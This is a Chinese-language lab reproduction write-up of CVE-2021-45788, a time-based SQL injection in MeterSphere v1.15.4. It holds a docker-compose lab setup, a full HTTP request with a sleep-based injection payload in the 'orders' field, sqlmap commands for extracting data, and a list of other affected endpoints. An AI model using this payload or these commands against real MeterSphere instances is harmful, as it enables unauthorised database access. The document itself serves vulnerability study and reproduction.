【漏洞复现】CVE-2021-45788 SQL Injection

漏洞信息

NVD - cve-2021-45788

Time-based SQL Injection vulnerabilities were found in Metersphere v1.15.4 via the "orders" parameter.

Authenticated users can control the parameters in the "order by" statement, which causing SQL injection.

API: /test/case/list/{goPage}/{pageSize}

背景介绍

MeterSphere is an open-source, continuous testing platform widely used by developers and QA managers for test plan management, data-driven testing, and test reporting metrics. It is engineered to integrate seamlessly with a variety of development and CI/CD toolchains to enhance productivity in DevOps environments. The platform supports functional UI, performance, and API testing, aiming to optimize testing workflows. The primary users of MeterSphere are software development teams and testing specialists seeking to attain high-quality assurance in their product cycles. Its robust plug-in architecture allows it to be extended and customized for specific workflows and tool integrations, making it adaptable across different industry requirements.

主页：https://metersphere.io/

源码：https://github.com/metersphere/metersphere

环境搭建

docker-compose.yml：

yaml 复制代码

version: "2.1"
services:
  web:
    image: vulhub/metersphere:1.15.4
    ports:
      - "8081:8081"
      - "5005:5005"
    environment:
      MYSQL_SERVER: db:3306
      MYSQL_DB: metersphere
      MYSQL_USERNAME: root
      MYSQL_PASSWORD: root
      KAFKA_SERVER: kafka:9092
  db:
    image: mysql:5.7
    command: --sql-mode="STRICT_TRANS_TABLES,NO_ZERO_IN_DATE,NO_ZERO_DATE,ERROR_FOR_DIVISION_BY_ZERO,NO_AUTO_CREATE_USER,NO_ENGINE_SUBSTITUTION" --max-connections=8000
    environment:
    - MYSQL_ROOT_PASSWORD=root
    - MYSQL_DATABASE=metersphere
  kafka:
    image: bitnami/kafka:3.4.1
    environment:
      # KRaft settings
      - KAFKA_CFG_NODE_ID=0
      - KAFKA_CFG_PROCESS_ROLES=controller,broker
      - KAFKA_CFG_CONTROLLER_QUORUM_VOTERS=0@kafka:9093
      # Listeners
      - KAFKA_CFG_LISTENERS=PLAINTEXT://:9092,CONTROLLER://:9093
      - KAFKA_CFG_ADVERTISED_LISTENERS=PLAINTEXT://:9092
      - KAFKA_CFG_LISTENER_SECURITY_PROTOCOL_MAP=CONTROLLER:PLAINTEXT,PLAINTEXT:PLAINTEXT
      - KAFKA_CFG_CONTROLLER_LISTENER_NAMES=CONTROLLER
      - KAFKA_CFG_INTER_BROKER_LISTENER_NAME=PLAINTEXT

Web UI：http://127.0.0.1:8081

账号admin、密码metersphere

漏洞复现

参考： [BUG]Time-based SQL Injetion in v1.15.4 · Issue #8651 · metersphere/metersphere

登录Web UI后进入http://127.0.0.1:8081/#/track/case/all创建新的测试用例：

POC：

http 复制代码

POST /test/case/list/1/10 HTTP/1.1
Host: localhost.lan:8081
Content-Length: 3149
Accept: application/json, text/plain, */*
CSRF-TOKEN: fXx2lJHlPYUA1mmtPn69Bhxtx7UVXEz676ScrXnOlFyUcUPQ0hrM9pjbe4U23MDLdURgu8bAJTZdIdVUYsbaOg==
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Content-Type: application/json
Accept-Encoding: gzip, deflate, br
Accept-Language: en,zh-CN;q=0.9,zh;q=0.8,en-US;q=0.7
Cookie: Hm_lvt_5819d05c0869771ff6e6a81cdec5b2e8=1733898529; skinName=skin-blue3; pageNo=1; pageSize=20; MS_SESSION_ID=2aad45b5-a17a-4a02-8e5d-0321805852d0
Connection: close
{"orders":[{"name":"name","type":",if(1=1,sleep(10),sleep(0))"}],"components":[{"key":"name","name":"MsTableSearchInput","label":"commons.name","operator":{"value":"like","options":[{"label":"commons.adv_search.operators.like","value":"like"},{"label":"commons.adv_search.operators.not_like","value":"not like"}]}},{"key":"tags","name":"MsTableSearchInput","label":"commons.tag","operator":{"value":"like","options":[{"label":"commons.adv_search.operators.like","value":"like"},{"label":"commons.adv_search.operators.not_like","value":"not like"}]}},{"key":"module","name":"MsTableSearchInput","label":"test_track.case.module","operator":{"value":"like","options":[{"label":"commons.adv_search.operators.like","value":"like"},{"label":"commons.adv_search.operators.not_like","value":"not like"}]}},{"key":"priority","name":"MsTableSearchSelect","label":"test_track.case.priority","operator":{"options":[{"label":"commons.adv_search.operators.in","value":"in"},{"label":"commons.adv_search.operators.not_in","value":"not in"}]},"options":[{"label":"P0","value":"P0"},{"label":"P1","value":"P1"},{"label":"P2","value":"P2"},{"label":"P3","value":"P3"}],"props":{"multiple":true}},{"key":"createTime","name":"MsTableSearchDateTimePicker","label":"commons.create_time","operator":{"options":[{"label":"commons.adv_search.operators.between","value":"between"},{"label":"commons.adv_search.operators.gt","value":"gt"},{"label":"commons.adv_search.operators.ge","value":"ge"},{"label":"commons.adv_search.operators.lt","value":"lt"},{"label":"commons.adv_search.operators.le","value":"le"},{"label":"commons.adv_search.operators.equals","value":"eq"}]}},{"key":"updateTime","name":"MsTableSearchDateTimePicker","label":"commons.update_time","operator":{"options":[{"label":"commons.adv_search.operators.between","value":"between"},{"label":"commons.adv_search.operators.gt","value":"gt"},{"label":"commons.adv_search.operators.ge","value":"ge"},{"label":"commons.adv_search.operators.lt","value":"lt"},{"label":"commons.adv_search.operators.le","value":"le"},{"label":"commons.adv_search.operators.equals","value":"eq"}]}},{"key":"creator","name":"MsTableSearchSelect","label":"api_test.creator","operator":{"options":[{"label":"commons.adv_search.operators.in","value":"in"},{"label":"commons.adv_search.operators.not_in","value":"not in"},{"label":"commons.adv_search.operators.current_user","value":"current user"}]},"options":{"url":"/user/list","labelKey":"name","valueKey":"id"},"props":{"multiple":true}},{"key":"reviewStatus","name":"MsTableSearchSelect","label":"test_track.review_view.execute_result","operator":{"options":[{"label":"commons.adv_search.operators.in","value":"in"},{"label":"commons.adv_search.operators.not_in","value":"not in"}]},"options":[{"label":"test_track.review.prepare","value":"Prepare"},{"label":"test_track.review.pass","value":"Pass"},{"label":"test_track.review.un_pass","value":"UnPass"}],"props":{"multiple":true}}],"filters":{"reviewStatus":["Prepare","Pass","UnPass"]},"planId":"","nodeIds":[],"selectAll":false,"unSelectIds":[],"selectThisWeedData":false,"selectThisWeedRelevanceData":false,"caseCoverage":null}

if分支执行：

else分支执行：

基于此可以验证存在时间盲注，通过sqlmap或者自己写爆破脚本实现漏洞利用：

sh 复制代码

python sqlmap.py -r req.txt --dbms mysql --technique T --prefix , --level 3
python sqlmap.py -r req.txt --dbms mysql --technique T --prefix , --level 3 --current-user

此外，这个漏洞还存在于很多其他接口：

basic 复制代码

/test/plan/case/list/all
/test/plan/case/list/ids
/issues/list/{goPage}/{pageSize}
/test/case/list/{goPage}/{pageSize}

漏洞分析

漏洞source位于backend/src/main/java/io/metersphere/track/service/TestPlanTestCaseService.java：

漏洞sink位于backend/src/main/java/io/metersphere/base/mapper/ext/ExtTestPlanTestCaseMapper.xml：